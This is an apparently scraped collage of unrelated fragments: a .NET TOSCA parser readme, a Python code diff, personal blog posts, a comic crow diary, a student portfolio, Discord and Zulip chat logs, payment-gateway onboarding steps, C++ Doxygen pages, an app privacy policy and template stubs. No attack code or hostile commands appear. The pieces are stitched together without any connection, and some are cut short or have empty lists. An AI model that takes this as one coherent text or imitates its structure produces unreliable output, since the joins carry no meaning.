Toscana
What is Toscana?
Toscana, which stands for TOSCA Net Analyzer, is a .NET library for validating, parsing and analyzing TOSCA YAML format.
What is TOSCA?
TOSCA, which stands for Topology and Orchestration Specification for Cloud Applications, is a language in YAML grammar for describing service templates by means of Topology Templates and towards enablement of interaction with a TOSCA instance model perhaps by external APIs or plans.
What is YAML?
YAML, which stands for "YAML Ain't Markup Language", is described as "a human friendly data serialization standard for all programming languages". Like XML, it allows to represent about any kind of data in a portable, platform-independent format. Unlike XML, it is "human friendly", which means that it is easy for a human to read or produce a valid YAML document.
Getting started
Install Toscana nuget package from from Manage Nuget packages
Or from Nuget Package Manager Console:
> install-package Toscana
Usage
TOSCA YAML file
TOSCA YAML file is represented by ToscaServiceTemplate class in Toscana library. Toscana allows parsing a single TOSCA YAML file into an instance of ToscaServiceTemplate class. Even if the file depends on other TOSCA YAML files via imports parsing will succeeds.
Parse a tosca.yaml
using (Stream stream = File.Open("tosca.yaml", FileMode.Open))
{
ToscaServiceTemplate toscaServiceTemplate = ToscaServiceTemplate.Parse(stream);
}
License
The software is released under Apache License v2.0.


Before Change
return mask
def load_model(self):
self.signals.update_progress_LABEL.emit("load_model()", "Loading neural network. This may take a while.")
self.model = InpaintNN(bar_model_name = "./models/bar/Train_775000.meta",
bar_checkpoint_name = "./models/bar/",
mosaic_model_name = "./models/mosaic/Train_290000.meta",
mosaic_checkpoint_name = "./models/mosaic/",
After Change
return mask
def load_model(self):
self.signals.insertText_progressCursor.emit("Loading model ... please wait ...\n")
if self.model is None :
self.model = InpaintNN(bar_model_name = "./models/bar/Train_775000.meta",
bar_checkpoint_name = "./models/bar/",
mosaic_model_name = "./models/mosaic/Train_290000.meta",


It started out with the infatuation of her reflection. Her eyes pierced the mirror and beamed back a luminous glow. Her skin was black, fresh and tout. Her lips were full like a slice of orange. I knew I was already in love with her, but she loved herself a great deal more.
But that all seemed to change that night we sat down watching one punch man. Its a marvel watching her take in so much of my mindless entertainment. I enjoyed it more than she thinks. She did it for me and enjoyed it. It made me tell myself that I had to buck up. Its not everyday a guy ends up with gorgeous girl and she ends up being everything you asked for. Some guys aren't that lucky. But when I looked into those eyes of hers, I saw something. She was completely in my world. She looked happy there. Comfortable even. Then I felt her head on my chest. Her chuckles would tickle me as Saitama gives the Sea King another one of his famous blank stares. That's the night I loved her all over again.
When a man exceeds manhood he becomes a gentleman. This is the ultimate goal. There are rules governing the ascension.
They are:
I am none of the above unfortunately. I try to be as dignified as possible. I try to have fun wherever I am. (Rule 9). But I think I have a long way to go to become a proper gentleman. I'm into things like movies, tech, art, fashion and architecture. My character and choices I make needs to improve.

Cool Pics:
I wrote myself an Haiku:


The diary of a crow, on this day in 1970:
Woke up in a foul temper.   I was still pissed off but I went down to the car park to meet my crow pals. We strutted about, intimidating smaller birds and indeed anybody else we came upon.
Later I went to sit atop a tree just outside Mytholmroyd in the West Riding of Yorkshire. Did a bit of cawing. Spotted a bloke with a notepad and pen, who seemed to be jotting down my caws. I wasn't having that, so I swooped down and had a quick slash at his face with my talons.
“By ‘eck!” he cried, “'Appen you've drawn blood, crow!
Then he added “BULLORGA OMBOLOM FROR”, in Real Orghast. I didn't realise darkness had opened its womb, but looking round I saw night was falling, so I headed for a different tree and shouted my head off for a while because I was still in a foul mood. Then I fell asleep.
Snap of crow copyright Arlette Berlie


Hello!
I am Juan peniel Muller, a passionate and dedicated cyber security student. With a strong academic background, hands-on experience, and a drive for continuous learning, I have developed a solid foundation in cyber security principles and practices.
What I Do?
I'm currently pursuing my master's in cyber security from the University of Alabama at Birmingham, apart from which I have completed multiple certificates related to security and networking. I also have hand full experience on App Developing using flutter and firebase.
-
Web Design
-
Mobile Design
-
Testing
-
Finance and Business
Latest Projects
Check out some of my latest projects with creative ideas.
-
Cyber Security
Secure File Transfer
Secure File Transfer over Socket using different Encrptions
See Project -
-
-
If you like what you see, let's work together.
I bring rapid solutions to make the life of people easier. Have any questions? Reach out to me from this contact form and I will get back to you shortly.


For Android or iPhone, the Megaphone App not only helps you find the Megaphone Vendor in your neighbourhood, but lets you buy when you don't have cash. Now you don't need change to make change.


Person
Monthly pay
Jan Molby
£12,000
Steve Nicol
£8,500
Steve McMahon
£9,200
John Barnes
£15,300
TOTAL
£45,000


Spring 2012
previous version
home
Facilitator of
solos and sit spots
.
Resume in
[HTML]
| [
PDF
] |
[Google Docs]
| [
ODT
]
v?
Colin Leath


Phenopackets Implementation Guide
0.1.0 - CI Build
Phenopackets Implementation Guide - Local Development build (v0.1.0). See the Directory of published versions
Phenopackets is an open standard for sharing disease and phenotype information that will improve our ability to understand, diagnose, and treat both rare and common diseases. A Phenopacket links detailed phenotype descriptions with disease, patient, and genetic information, enabling clinicians, biologists, and disease and drug researchers to build more complete models of disease. The standard is designed to encourage wide adoption and synergy between the people, organizations and systems that comprise the joint effort to address human disease and biological understanding.
Phenopackets on FHIR is a FHIR implementation guide based on the Phenopackets standard.


Pirate (ARRR) is a cryptocurrency that solves the issue of financial privacy on the blockchain through forced anonymous transactions. Protect your wallet and transactions with Pirate’s completely anonymous network. With forced private transactions, your privacy cannot be compromised by another users’ activity on the network. If you wish to learn more, please join the official Pirate Discord at https://pirate.black/discord/ or message FishyGuts#5085, who will be happy to help out.
100 messages
Before 05-Dec-19 12:00 AM
snowdamn26-Sep-18 08:17 PM
OTC is funny
and PITA
0x0326-Sep-18 08:18 PM
@ComputerGenie 👴👴👴 i'd visit u in jail
ComputerGenie 👴👴👴26-Sep-18 08:19 PM
@snowdamn You're right, typing 3 words and 2 addresses is quite hard
SHossain26-Sep-18 08:19 PM
there goes my solo mining capability
need to mine in a pool
snowdamn26-Sep-18 08:20 PM
funny and PITA, not hard... you like making up stories
Flexatron26-Sep-18 08:20 PM
45 node connections, nice
SHossain26-Sep-18 08:20 PM
4 mini is nothing compared to this hash rate
Flexatron26-Sep-18 08:21 PM
Some numbers
ComputerGenie 👴👴👴26-Sep-18 08:21 PM
@snowdamn
One of us needs a lesson in English, and it isn't me
A thing can't be a "pain in the ass" unless it's "hard/difficult"
Flexatron26-Sep-18 08:21 PM
@SHossain lets go Gsol
1
ComputerGenie 👴👴👴26-Sep-18 08:21 PM
because, feken words
Mylo26-Sep-18 08:21 PM
i've rented 4 hours of 125 sol/s for not many cents.... i'm getting 0.1 PIRATE per hour so far.
1
snowdamn26-Sep-18 08:22 PM
@ComputerGenie 👴👴👴 you still can't get over the z-KMD thing?
SHossain26-Sep-18 08:22 PM
@Flexatron my Notary Node has 50 connections
Flexatron26-Sep-18 08:22 PM
ComputerGenie 👴👴👴26-Sep-18 08:23 PM
@snowdamn tbh, I can't be assed to remember who said what dumbass thing yesterday, this is about what you said now(edited)
0x0326-Sep-18 08:23 PM
i'd like to ask the people currently mining on https://pirate.komodopool.xyz to join my (the associated) discord, in an effort to reduce the number of places i have to communitcate to. join here, please https://discord.gg/edWqZcD - and let me know if i should remove the message again if it is 'too much'
snowdamn26-Sep-18 08:23 PM
@ComputerGenie 👴👴👴 and yet there you are begging for my attention lol
ph03nix26-Sep-18 08:23 PM
when nautical chart
ComputerGenie 👴👴👴26-Sep-18 08:23 PM
@snowdamn and yet there you are giving it to me like a sycophant
Flexatron26-Sep-18 08:24 PM
Keep it civil guys
0x0326-Sep-18 08:24 PM
hands out UFC gloves
snowdamn26-Sep-18 08:24 PM
OTC is funny and PITA
jl777c26-Sep-18 08:25 PM
is it normal for the hashrate to go up this fast? not familiar with miining of new coins
ComputerGenie 👴👴👴26-Sep-18 08:25 PM
if typing 1 send is a "PITA" then crypto isn't the thing for you
Where does pirate difficulty stand compared to zcash?
ComputerGenie 👴👴👴26-Sep-18 08:42 PM
way low
scubapanda26-Sep-18 08:44 PM
@wookie 1%?
crumb26-Sep-18 08:45 PM
WTB 5000 PIRATE @ 0.0275 KMD
1
ComputerGenie 👴👴👴26-Sep-18 08:45 PM
Quick estimate math: ZEC diff is ~372x KMD diff(edited)
wookie26-Sep-18 08:46 PM
I wonder, is the hashpower of pirate new hashpower or taken from kmd? Or taken from other coins? Just wondering how much new mining power we're bringing in?
jl777c26-Sep-18 08:47 PM
KMD hashrate is pretty much unchanged, maybe just slightly lower today, was higher yesterday
wookie26-Sep-18 08:48 PM
So this is mostly new mining power from outside the KMD ecosystem then.
Flexatron26-Sep-18 08:48 PM
Nice.
wookie26-Sep-18 08:49 PM
All of this is fantastic publicity for the KMD ecosystem!


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/presheaves.html ---
I know that mathlib doesn't like examples, but I'm happy that the definition
noncomputable def presheaf_of_complex_functions (Y : Top) : presheaf_on_space CommRing Y := presheaf_of_functions_to_TopCommRing Y TopCommRing.complex
works. :-)
This message is just sitting in a separate browser tab waiting to be read. What is happening here? Is this the presheaf of rings corresponding to complex-valued functions on Y?
Yes.
It works for functions to any topological commutative ring.
OK you get my emoji :-) Are they continuous functions or all functions? Proving that it is a sheaf of rings should be straightforward I guess, once the definitions are there; the necessary topology lemmas ("continuity is local") are almost certainly in mathib (and might well be trivialities if you can drive the filter machine)
Continuous functions
you always have to check this sort of thing in this place ;-)
I still don't have a good version of the sheaf condition handy. I've tried several times and each time ended up with gross definitions.
Part of me wants to start going on about axiomatising Grothendieck topologies and doing it that way
and part of me knows that sometimes the most general way of thinking about things might not be the most sensible (although it can be!)
Part of me wants to start going on about axiomatising Grothendieck topologies and doing it that way
Yay, let's go for it! (After the perfectoid project)
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


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Pæy is a decentralized payment system that allows payment with crypto currencies
Paying...
Please Confirm The Following detail below to make payment


+++ title = "Tacna" lat = -18.007000 lon = -70.251000 +++
Just as Arica is hugging the southern side of the Peru-Chilean border, so too is Tacna hugging its northern side. It's just an hour's ride, in a shared taxi, from Arica to Tacna; lots of Chileans hop over here for a few hours, to do some cheap shopping. Not very much to see here, and it has a bit of a bad reputation; but it's worth stopping here for an hour or two, before heading off to wherever else it is that you're going.


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Gateways supported
Before proceeding to integrate with JusPay, you will have to ensure that the backend PG/Aggregator that you use is ready for this. There are two kinds of payment service providers - bank gateways and aggregators. Banks like HDFC & ICICI provide PG accounts to make your site accept Visa/MasterCard issued cards. Aggregators work with Banks and provide you with the ability to accept Cards & NetBanking as well.
We support both bank gateways and aggregators. The supported list of payment service providers are:
- Bank Gateways
- HDFC
- ICICI
- AXIS
- Aggregators
- PayU
- Citrus
- CCAvenue
- EBS
- Atom
All of these service providers will provide you with an account where Card Details can only be entered in their page. Such an arrangement is to ensure that Security of the Card data is not compromised. In order to be able to use our iFrame to accept card data, these service providers will have to approve of such an integration. This requires some amount of paperwork - mostly digital in nature. Different providers approach this differently and we have tried to compile the steps involved in getting your PG account upgraded.
HDFC
HDFC Bank would give you SSL Gateway by default. In order to use Express Checkout with HDFC, the SSL account must be converted to a TranPortal account. This entails the following:
- Write to your Relationship Manager in this regard
- Copy us in the email and we will share the required documentation from our side
- HDFC would insist on a Tripartite Agreement. This is similar to the Merchant Services Agreement that you signed with HDFC. Three copies of this agreement must be executed. Any changes required in this agreement would take a long time for consensus. So, we recommend that you sign this agreement as it is.
- Post signing this, HDFC PG would convert your account to TranPortal.
- Configure the TranPortal ID & TranPortal password in the Merchant Portal of JusPay and you are ready to start driving transactions.
Time taken: 2 - 4 weeks
ICICI
SSL PG account of ICICI must be converted to MOTO account. The following steps could help achieve this:
- Write to your Relationship Manager in this regard
- Copy us in the email and we will share the required documentation from our side
- ICICI will create a MOTO account will share the access credentials. The following will be required to commence integration:
- MID
- MPI ID
- Key (can be obtained by logging in to ICICI console)
- Once you have all these three, configure this PG account in JusPay Merchant Portal for your merchant account
- 3D Secure Response URL must be updated to
https://api.juspay.in/payment/second-factor-response
. Place a request to ICICI PG Helpdesk for this. - Once the above step is done, you will have to run a test transaction using your credit/debit card. This transaction will fail with an error message 'No suitable acquirer found'.
- Contact PG Helpdesk again and share with them the transaction details and the response. ICICI PG will confirm that the integration is successful and they will go on to make your account LIVE.
Time taken: 1 - 3 weeks
Axis
SSL PG account of AXIS must be converted to VPC account. The following steps could help achieve this:
- Write to your Relationship Manager asking to upgrade your account to VPC Enabled. Mention that you are using JusPay as the technology company to handle sensitive card data.
- Copy us in the email and we will share the required documentation from our side
- Axis will enable VPC for your account
- Once you have the confirmation from Axis, configure the Axis PG credentials in JusPay Merchant Portal for your merchant account
- Do a transaction with real credit/debit card to ensure that this feature is working fine. If you directly land on the 3D secure page, then the account has been upgraded
Time taken: 1 - 3 weeks
PayU
- The PG account must have Seamless option enabled to use Express Checkout
- Write to your Relationship Manager asking to upgrade your account to Seamless Enabled. Mention that you are using JusPay as the technology company to handle sensitive card data.
- Copy us in the email and we will share the required documentation from our side
- PayU will enable Seamless for your account
- Once you have the confirmation from PayU, configure the PayU account details in JusPay Merchant Portal for your merchant account. The following are the required details:
- PayU merchant key
- PayU salt
- Do a transaction with real credit/debit card to ensure that this feature is working fine. If you directly land on the 3D secure page, then the account has been upgraded
- You should be able to see the above transaction in your PayU dashboard too
Time taken: 2 - 3 days
CCAvenue
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EBS
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Citrus
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Atom
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|
TENNIS COURTS PT 2
A system designed to operate the backend of a tennis court company, with all of its details
|
#include <Company.h>
Public Member Functions | |
| Company () | |
| Class Constructor. | |
| Company (double cardValue, Date d) | |
| Class constructor. More... | |
| void | createCourt () |
| Creating a new Court. | |
| std::vector< Court > | getCourts () |
| Getter of the current Courts. More... | |
| std::vector< Teacher > | getTeachers () |
| Getter of the current Teachers. More... | |
| User | getUser (std::string userName) |
| Getter of a specific User. More... | |
| Teacher | getTeacher (std::string teacherName) |
| Getter of a specific Teacher. More... | |
| bool | makeLesson (int month, int day, double startingHour, std::string userName) |
| bool | makeFree (int month, int day, double startingHour, int duration, std::string username) |
| Reserving the Court, User and Teacher for a new Reservation. More... | |
| bool | registerUser (std::string name, int age, bool isGold, std::string gender, std::string adress, int nif, bool active) |
| Register a new User to the system. More... | |
| bool | registerTeacher (std::string teacherName, int age, std::string gender) |
| |
| void | makeUserReport (User &a, int month, std::string userName, std::string teacherName) |
| Make a Report for a specific user. More... | |
| void | makeUserInvoice (User &a, std::string userName, int month) |
| Make an Invoice for a specific user. More... | |
| bool | showReport (std::string name, int month) |
| Method to show a specific Report. More... | |
| bool | showInvoice (std::string name, int month) |
| Method to show a specific Invoice. More... | |
| void | storeInfo (std::ofstream &outfile, int identation) |
| Store in the information of the Company to a file. More... | |
| void | indentation (std::ofstream &outfile, int indentation) |
| To indent the file. More... | |
| void | readInfo (std::ifstream &infile) |
| Reads the company information of a file. More... | |
| Company | operator++ () |
| The operator to go through a day and all its necessary situations. More... | |
| void | showUsers () |
| shows all Users | |
| void | showTeachers () |
| shows all Teachers | |
| void | showCourts () |
| shows all Courts | |
| void | showUser (std::string name) |
| show a specific User More... | |
| void | showTeacher (std::string teacher) |
| show a specific User More... | |
| void | showUserReservations (std::string name) |
| Show the Reservations of a specific user. More... | |
| void | showTeacherLessons (std::string teacher) |
| Shows the lessons of the Teacher. More... | |
| void | showDate () |
| Showing the Current date. | |
| bool | removeActiveTeacher (std::string teacher) |
| Removal of an active Teacher. More... | |
| bool | rescheduleLessons (std::vector< Reservation *> &reservs, Teacher &subst, std::string username) |
| Rescheduling the Lessons of a given teacher. More... | |
| void | changeName (std::string name, std::string newName, int flag) |
| Changing the name of a person. More... | |
| void | changeAge (std::string name, int newAge, int flag) |
| Changing the age of a person. More... | |
| void | changeGender (std::string name, std::string newgender, int flag) |
| Changing the Gender of a person. More... | |
| void | changeisGold (std::string name, bool isGold) |
| Changing if a person is Gold or not. More... | |
| bool | checkNIF (int nif) |
| Checking if the given value is a proper NIF. More... | |
| void | changeNIF (std::string name, int newNIF) |
| Changing the NIF of a user. More... | |
| void | changeAddress (std::string name, std::string newAddress) |
| Changing the Address of a user. More... | |
| void | deleteUser (std::string name) |
| Deleting a User. More... | |
| void | scheduleRepair (int day, int month, unsigned ID) |
| Scheduling a repair for a given Court. More... | |
| void | addRepairer (std::string name, std::string gender) |
| Add a new Repairer to the company. More... | |
| void | removeRepairer (unsigned id) |
| Removal of a Repairer from the company. More... | |
| void | listAllRepairers () const |
| Listing all Repairers. | |
| bool | modifyReservation (std::string username, int month, int day, double startingHour, unsigned int duration, int newMonth, int newDay, double newStartHour, unsigned int newDuration) |
| modifying the time of a given Reservation More... | |
| bool | deleteReservation (std::string username, int month, int day, double startingHour, unsigned int duration) |
| deleting the time of a given Reservation More... | |
| void | listAvailableRepairers (unsigned daysUntilAvailable) const |
| Listing all Repairers available to in the next days. More... | |
| void | unscheduleRepair (unsigned id, unsigned day, unsigned month) |
| Unscheduling a given Repair to a specific Court. More... | |
| void | rescheduleRepair (unsigned id, unsigned day, unsigned month, unsigned newDay, unsigned newMonth) |
| Rescheduling a given Repair to a specific Court. More... | |
| void | changeRepairerName (unsigned id, std::string newName) |
| Change the name of a repairer. More... | |
The company itself, operation all of the rest
| Company::Company | ( | double | cardValue, |
| Date | d | ||
| ) |
Class constructor.
| d | - current date |
| void Company::addRepairer | ( | std::string | name, |
| std::string | gender | ||
| ) |
Add a new Repairer to the company.
| name | - the name of said Repairer |
| gender | - the gender of said Repairer |
| void Company::changeAddress | ( | std::string | name, |
| std::string | newAddress | ||
| ) |
Changing the Address of a user.
| name | - the current name |
| newAddress | - the new Address |
| void Company::changeAge | ( | std::string | name, |
| int | newAge, | ||
| int | flag | ||
| ) |
Changing the age of a person.
| name | - the current name |
| newAge | - the new age |
| flag | - if it is a teacher or a student |
| void Company::changeGender | ( | std::string | name, |
| std::string | newgender, | ||
| int | flag | ||
| ) |
Changing the Gender of a person.
| name | - the current name |
| newgender | - the new Gender |
| flag | - if it is a teacher or a student |
| void Company::changeisGold | ( | std::string | name, |
| bool | isGold | ||
| ) |
Changing if a person is Gold or not.
| name | - the current name |
| isGold | - the new Gold status |
| void Company::changeName | ( | std::string | name, |
| std::string | newName, | ||
| int | flag | ||
| ) |
Changing the name of a person.
| name | - the current name |
| newName | - the new Name |
| flag | if it is a teacher or a student |
| void Company::changeNIF | ( | std::string | name, |
| int | newNIF | ||
| ) |
Changing the NIF of a user.
| name | - the current name |
| newNIF | - the newNIF |
| void Company::changeRepairerName | ( | unsigned | id, |
| std::string | newName | ||
| ) |
Change the name of a repairer.
| id | - the id of the repairer |
| newName | - the new name of the repairer |
| bool Company::checkNIF | ( | int | nif | ) |
Checking if the given value is a proper NIF.
| nif | - the actual NIF |
| bool Company::deleteReservation | ( | std::string | username, |
| int | month, | ||
| int | day, | ||
| double | startingHour, | ||
| unsigned int | duration | ||
| ) |
deleting the time of a given Reservation
| username | - the name of the user |
| month | - the month of the reservation |
| day | - the day of the reservation |
| startingHour | - the starting hour of the reservation |
| duration | - the duration of the reservation |
| vector< Court > Company::getCourts | ( | ) |
Getter of the current Courts.
| Teacher Company::getTeacher | ( | std::string | teacherName | ) |
| vector< Teacher > Company::getTeachers | ( | ) |
Getter of the current Teachers.
| User Company::getUser | ( | std::string | userName | ) |
| void Company::indentation | ( | std::ofstream & | outfile, |
| int | indentation | ||
| ) |
To indent the file.
| outfile | - where to write |
| indentation | - current indentation |
| void Company::listAvailableRepairers | ( | unsigned | daysUntilAvailable | ) | const |
Listing all Repairers available to in the next days.
| daysUntilAvailable | - the maximum number of days for the repairer to be available |
| bool Company::makeFree | ( | int | month, |
| int | day, | ||
| double | startingHour, | ||
| int | duration, | ||
| std::string | username | ||
| ) |
Reserving the Court, User and Teacher for a new Reservation.
| month | - the month of the lesson |
| day | - the day of the lesson |
| startingHour | - the starting Hour for it |
| duration | - the duration it |
| username | - the name of the User |
| bool Company::makeLesson | ( | int | month, |
| int | day, | ||
| double | startingHour, | ||
| std::string | userName | ||
| ) |
| void Company::makeUserInvoice | ( | User & | a, |
| std::string | userName, | ||
| int | month | ||
| ) |
Make an Invoice for a specific user.
| userName | - month it relates to |
| month | - the name of the user |
| void Company::makeUserReport | ( | User & | a, |
| int | month, | ||
| std::string | userName, | ||
| std::string | teacherName | ||
| ) |
Make a Report for a specific user.
| month | - month it relates to |
| userName | - the name of the user |
| teacherName | - the name of the teacher |
| bool Company::modifyReservation | ( | std::string | username, |
| int | month, | ||
| int | day, | ||
| double | startingHour, | ||
| unsigned int | duration, | ||
| int | newMonth, | ||
| int | newDay, | ||
| double | newStartHour, | ||
| unsigned int | newDuration | ||
| ) |
modifying the time of a given Reservation
| username | - the name of the user |
| month | - the month of the reservation |
| day | - the day of the reservation |
| startingHour | - the starting hour of the reservation |
| duration | - the duration of the reservation |
| newMonth | - the new month of the reservation |
| newDay | - the new day of the reservation |
| newStartHour | - the new starting hour of the reservation |
| newDuration | - the new duration of the reservation |
| Company Company::operator++ | ( | ) |
The operator to go through a day and all its necessary situations.
| void Company::readInfo | ( | std::ifstream & | infile | ) |
Reads the company information of a file.
| infile |
| bool Company::registerTeacher | ( | std::string | teacherName, |
| int | age, | ||
| std::string | gender | ||
| ) |
| bool Company::registerUser | ( | std::string | name, |
| int | age, | ||
| bool | isGold, | ||
| std::string | gender, | ||
| std::string | adress, | ||
| int | nif, | ||
| bool | active | ||
| ) |
Register a new User to the system.
| name | - the name of the user |
| age | - the age of the user |
| isGold | - if he wants to have the Gold card or not |
| gender | - the gender of the User |
| address | - address of the user |
| nif | - nif of the user |
| active | - if the user is active or not |
| bool Company::removeActiveTeacher | ( | std::string | teacher | ) |
Removal of an active Teacher.
| teacher | - the name of said teacher |
| void Company::removeRepairer | ( | unsigned | id | ) |
Removal of a Repairer from the company.
| id | - The Repairer ID |
| bool Company::rescheduleLessons | ( | std::vector< Reservation *> & | reservs, |
| Teacher & | subst, | ||
| std::string | username | ||
| ) |
Rescheduling the Lessons of a given teacher.
| lessons | - the lessons to be changed |
| reservs | - the reservations to be changed in the user |
| subst | - the teacher itself |
| username | - the user |
| void Company::rescheduleRepair | ( | unsigned | id, |
| unsigned | day, | ||
| unsigned | month, | ||
| unsigned | newDay, | ||
| unsigned | newMonth | ||
| ) |
| void Company::scheduleRepair | ( | int | day, |
| int | month, | ||
| unsigned | ID | ||
| ) |
Scheduling a repair for a given Court.
| day | - the day of the repair |
| month | - the month of the repair |
| ID | - the ID of the court |
| bool Company::showInvoice | ( | std::string | name, |
| int | month | ||
| ) |
| bool Company::showReport | ( | std::string | name, |
| int | month | ||
| ) |
| void Company::showTeacher | ( | std::string | teacher | ) |
| void Company::showTeacherLessons | ( | std::string | teacher | ) |
| void Company::showUserReservations | ( | std::string | name | ) |
Show the Reservations of a specific user.
| name | - Name of the User |
| void Company::storeInfo | ( | std::ofstream & | outfile, |
| int | identation | ||
| ) |
Store in the information of the Company to a file.
| outfile | - the file to write information |
| identation | - current indentation |
| void Company::unscheduleRepair | ( | unsigned | id, |
| unsigned | day, | ||
| unsigned | month | ||
| ) |


It's my love to clean some tiny mess in the world and make it hassle-free.
P.S.: I'm an UI/UX designer and developer.
Feel free to contact me to discuss everything from UI/UX, career or even sciences and hobbies.


--- layout: post title: JOpt Simple 3.2-rc1 released published: 1 category: - Programming ---
JOpt Simple is my Java library for parsing command-line options. For 3.2, I've added the ability to specify a set of default values for arguments of a given option. Hopefully this will alleviate the burden of checking has() and hasArgument() on an OptionSet when you want to use a default if the option isn't on the command line. Give it a spin and let me know what you think.


Seamless texture generator
tgen
on
github
select preset
random preset
editor
Generate
Editor on/off
Upload to Gallery
Ok
Cancel
Load from Gallery
3D test
Change 3D scene
- click on the 3d canvas
Save
- right click on the thumbnail image to save or copy in original size
© 2015-2022
tamas.schalk
Load more
rendered:
render time:
average time:
Control + Enter
= Generate
Ace
- The High Performance Code Editor
change scene


Note:
This is an export from my old wordpress website, your comments or references might be lost during the migration. Sorry for the inconvenience.
download circos at http://circos.ca/distribution, move it to ~/Software/circos/
:
- uncompress and export to PATH
- install missing perl modules
check missing modules:
install missing modules:
to test your circos installation, simply go to the example folder, and run the run script.
If you see the following figure, you’ve successfully installed circos!
An example output figure from circos.
In some case, GD-2.56
might not work properly, so we can manually install GD-2.51
from cpan: http://search.cpan.org/~lds/GD-2.51/


{% extends 'layout.modal.html' %} {% import 'widgets/carousel.html' as carousel %} {% block modal_content %} ×


To access the US ETF Constituent data, use the ETFConstituentData objects in your selection function. The data is available in daily resolution. The Symbol objects you return from your selection function defines the universe constituents.
def ETFConstituentsFilter(self, constituents: List[ETFConstituentData]) -> List[Symbol]: for c in constituents: self.Debug(f'{c.EndTime} :: {c.LastUpdate} :: {c.Weight} :: {c.SharesHeld} :: {c.MarketValue}') return [x.Symbol for x in constituents]
public IEnumerable<Symbol> ETFConstituentsFilter(IEnumerable<ETFConstituentData> constituents) { foreach (var c in constituents) { Debug($"{c.EndTime} :: {c.LastUpdate} :: {c.Weight} :: {c.SharesHeld} :: {c.MarketValue}"); } return constituents.Select(c => c.Symbol); }


Effective date: September 20, 2018
WhatsNext - Series and Animes ("us", "we", or "our") operates the website and the WhatsNext - Series and Animes mobile application (hereinafter referred to as the "Service").
This page informs you of our policies regarding the collection, use, and disclosure of personal data when you use our Service and the choices you have associated with that data.
We use your data to provide and improve the Service. By using the Service, you agree to the collection and use of information in accordance with this policy. Unless otherwise defined in this Privacy Policy, the terms used in this Privacy Policy have the same meanings as in our Terms and Conditions.
We collect several different types of information for various purposes to provide and improve our Service to you.
We have partners that may use your information, such as Google ADS. You can found their privacy policy here: https://policies.google.com/technologies/ads
While using our Service, we may ask you to provide us with certain personally identifiable information that can be used to contact or identify you ("Personal Data"). Personally identifiable information may include, but is not limited to:
When you access the Service with a mobile device, this Usage Data may include information such as the type of mobile device you use, your mobile device unique ID, the IP address of your mobile device, your mobile operating system, the type of mobile Internet browser you use, unique device identifiers and other diagnostic data.
WhatsNext - Series and Animes uses the collected data for various purposes:
Your information, including Personal Data, are only stored in your phone. Others services, as Google ADS, can store some information, you can head more in their privacy policies https://policies.google.com/technologies/ads
Your consent to this Privacy Policy followed by your submission of such information represents your agreement to that storage and transfer.
WhatsNext - Series and Animes will take all steps reasonably necessary to ensure that your data is treated securely and in accordance with this Privacy Policy and no transfer of your Personal Data will take place to an organization or a country unless there are adequate controls in place including the security of your data and other personal information.
WhatsNext - Series and Animes do not have access data since it is in your phone.
The security of your data is important to us, but remember that no method of transmission over the Internet, or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Data, we cannot guarantee its absolute security.
We may employ third party companies and individuals to facilitate our Service ("Service Providers"), to provide the Service on our behalf, to perform Service-related services or to assist us in analyzing how our Service is used.
We may use third-party Service Providers to monitor and analyze the use of our Service.
Google Analytics
Google Analytics is a web analytics service offered by Google that tracks and reports website traffic. Google uses the data collected to track and monitor the use of our Service. This data is shared with other Google services. Google may use the collected data to contextualize and personalize the ads of its own advertising network.
For more information on the privacy practices of Google, please visit the Google Privacy & Terms web page: https://policies.google.com/privacy?hl=en
Google AD Mob
Google AD Mob is a service provider of ADS in WhatsNextSeries - Series and Animes.
For more information on the privacy practices of Google, please visit the Google Privacy & Terms web page: https://policies.google.com/privacy?hl=en
We may update our Privacy Policy from time to time. We will notify you of any changes by posting the new Privacy Policy on this page.
You are advised to review this Privacy Policy periodically for any changes. Changes to this Privacy Policy are effective when they are posted on this page.
If you have any questions about this Privacy Policy, please contact us:


---
layout: default
---
{% include nav.html %}
{% include docsheader.html %}
{% include docsindex.html %}
{% include docsapks.html %}
{% include docsaddinfo.html %}
{% include docsfiles.html %}
{% include docsinquiries.html %}
{% include docsdev.html %}


More...
|
| virtual ? bool | AllowCopy [get, set] |
| | Set as true to allow the user to hold down the control key at the start of the drag operation and copy the dragged records between grids. Otherwise, dragged records will be moved. More...
|
| |
| virtual ? bool | Copy [get, set] |
| | Set as true to copy the records from the source grid to the destination drop grid. Otherwise, dragged records will be moved. More...
|
| |
| virtual string | DDGroup [get, set] |
| | A named drag drop group to which this object belongs. If a group is specified, then both the DragZones and DropZone used by this plugin will only interact with other drag drop objects in the same group (defaults to 'GridDD'). More...
|
| |
| virtual string | DragText [get, set] |
| |
| virtual string | DragGroup [get, set] |
| | The ddGroup to which the DragZone will belong. This defines which other DropZones the DragZone will interact with. Drag/DropZones only interact with other Drag/DropZones which are members of the same ddGroup. More...
|
| |
| virtual string | DropGroup [get, set] |
| | The ddGroup to which the DropZone will belong. This defines which other DragZones the DropZone will interact with. Drag/DropZones only interact with other Drag/DropZones which are members of the same ddGroup. More...
|
| |
| virtual bool | EnableDrag [get, set] |
| | Defaults to true. Set to false to disallow dragging items from the View More...
|
| |
| virtual bool | ContainerScroll [get, set] |
| | True to register this container with the Scrollmanager for auto scrolling during drag operations. More...
|
| |
| virtual bool | EnableDrop [get, set] |
| | Defaults to true. Set to false to disallow the View from accepting drop gestures More...
|
| |
| ConfigItemCollection | CustomConfig [get] |
| | Collection of custom js config More...
|
| |
| MessageBusListeners | MessageBusListeners [get] |
| |
| MessageBusDirectEvents | MessageBusDirectEvents [get] |
| |
| virtual string | ItemID [get, set] |
| | An itemId can be used as an alternative way to get a reference to a component when no object reference is available. More...
|
| |
| virtual bool | Disabled [get, set] |
| |
| virtual short | TabIndex [get, set] |
| |
| virtual bool | IsInForm [get, set] |
| |
| virtual Unit | Height [get, set] |
| |
| virtual Unit | Width [get, set] |
| |
| virtual string | ToolTip [get, set] |
| |
| virtual bool | RegisterAllResources [get, set] |
| |
| virtual bool | AutoDataBind [get, set] |
| |
| virtual IDMode | IDMode [get, set] |
| |
| virtual LazyMode | LazyMode [get, set] |
| |
| virtual string | Namespace [get, set] |
| |
| List< ClientResourceItem > | ResourceItems [get] |
| |
◆ operator GridDragDrop.Builder()
◆ AllowCopy
| virtual ? bool Ext.Net.GridDragDrop.Config.AllowCopy |
|
getset |
Set as true to allow the user to hold down the control key at the start of the drag operation and copy the dragged records between grids. Otherwise, dragged records will be moved.
